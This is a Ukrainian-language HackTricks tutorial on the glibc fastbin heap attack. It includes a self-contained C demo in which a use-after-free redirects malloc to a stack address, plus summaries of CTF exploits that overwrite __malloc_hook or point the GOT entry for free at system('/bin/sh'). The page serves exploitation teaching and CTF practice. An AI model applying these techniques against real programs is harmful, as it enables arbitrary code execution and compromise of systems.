Fast Bin Attack

Вивчайте та практикуйте хакінг AWS: Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Для отримання додаткової інформації про те, що таке швидкий бін, перегляньте цю сторінку:

Bins & Memory Allocations

Оскільки швидкий бін є однозв'язним списком, тут набагато менше захисту, ніж в інших бінах, і достатньо просто змінити адресу в вивільненому швидкому блоці, щоб мати можливість виділити пізніше блоці в будь-якій адресі пам'яті.

У підсумку:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Ви можете знайти повний приклад у дуже добре поясненому коді за посиланням https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Якщо можливо перезаписати значення глобальної змінної global_max_fast на велике число, це дозволяє створювати швидкі бін-частини більших розмірів, що потенційно дозволяє виконувати атаки на швидкі бін-частини в сценаріях, де це раніше було неможливо. Ця ситуація корисна в контексті атаки на великі бін-частини та атаки на несортовані бін-частини

Приклади

  • Можливо виділити частини, звільнити їх, прочитати їх вміст та заповнити їх (з вразливістю переповнення).

  • Консолідувати частину для витоку інформації: Техніка полягає в тому, щоб зловживати переповненням, щоб створити фальшивий prev_size, таким чином, одну попередню частину поміщають всередину більшої, тому при виділенні більшої частини, що містить іншу частину, можливо роздрукувати її дані та витік адреси до libc (main_arena+88).

  • Перезаписати гачок malloc: Для цього, зловживаючи попередньою ситуацією перекриття, було можливо мати 2 частини, які вказували на одну й ту ж пам'ять. Тому, звільнивши їх обидві (звільнивши ще одну частину між ними, щоб уникнути захисту), було можливо мати ту саму частину в швидкій бін 2 рази. Потім було можливо виділити її знову, перезаписати адресу наступної частини, щоб вказувати трохи перед __malloc_hook (таким чином, вона вказує на ціле число, яке malloc вважає вільним розміром - ще одне ухилення), виділити її знову, а потім виділити ще одну частину, яка отримає адресу гачків malloc. Нарешті, туди було записано один гаджет.

  • Є переповнення купи та використання після вивільнення, а також подвійне вивільнення, оскільки після вивільнення частини можна повторно використовувати та знову вивільняти вказівники.

  • Витік інформації про libc: Просто вивільніть деякі частини, і вони отримають вказівник на частину головної арени. Оскільки можна повторно використовувати вивільнені вказівники, просто прочитайте цю адресу.

  • Атака на швидкі бін-частини: Усі вказівники на виділення зберігаються всередині масиву, тому ми можемо вивільнити кілька швидких бін-частин, а в останній перезаписати адресу, щоб вказувати трохи перед цим масивом вказівників. Потім виділити кілька частин однакового розміру, і ми отримаємо спочатку легітимний, а потім фальшивий, що містить масив вказівників. Тепер ми можемо перезаписати ці вказівники виділення, щоб зробити адресу GOT free вказувати на system, а потім записати "/bin/sh" в частину 1, а потім викликати free(chunk1), який замість цього виконає system("/bin/sh").

  • Ще один приклад зловживання переповненням на один байт для консолідації частин в несортованому біні та отримання витоку інформації про libc, а потім виконання атаки на швидкі бін-частини для перезапису гачка malloc адресою одного гаджета

  • Після витоку інформації, зловживаючи несортованим біном з UAF для витоку адреси libc та адреси PIE, експлойт цього CTF використовував атаку на швидкі бін-частини для виділення частини в місці, де знаходилися вказівники на керовані частини, тому було можливо перезаписати певні вказівники, щоб записати один гаджет в GOT

  • Ви можете знайти атаку на швидкі бін-частини, яку використовували через атаку на несортовані бін-частини:

  • Зауважте, що перед виконанням атак на швидкі бін-частини досить поширено зловживати списками вивільнення для витоку адрес libc/кучі (якщо потрібно).

  • Можливо виділити частини розміром більше 0x100.

  • Перезаписати global_max_fast, використовуючи атаку на несортований бін (працює 1/16 разів через ASLR, оскільки нам потрібно змінити 12 бітів, але ми повинні змінити 16 бітів).

  • Атака на швидкі бін-частини для зміни глобального масиву частин. Це надає примітив читання/запису за власним бажанням, що дозволяє змінювати GOT та встановлювати деякі функції, щоб вказувати на system.

Unsorted Bin Attack

Вивчайте та практикуйте взлом AWS:Навчання HackTricks AWS Red Team Expert (ARTE) Вивчайте та практикуйте взлом GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated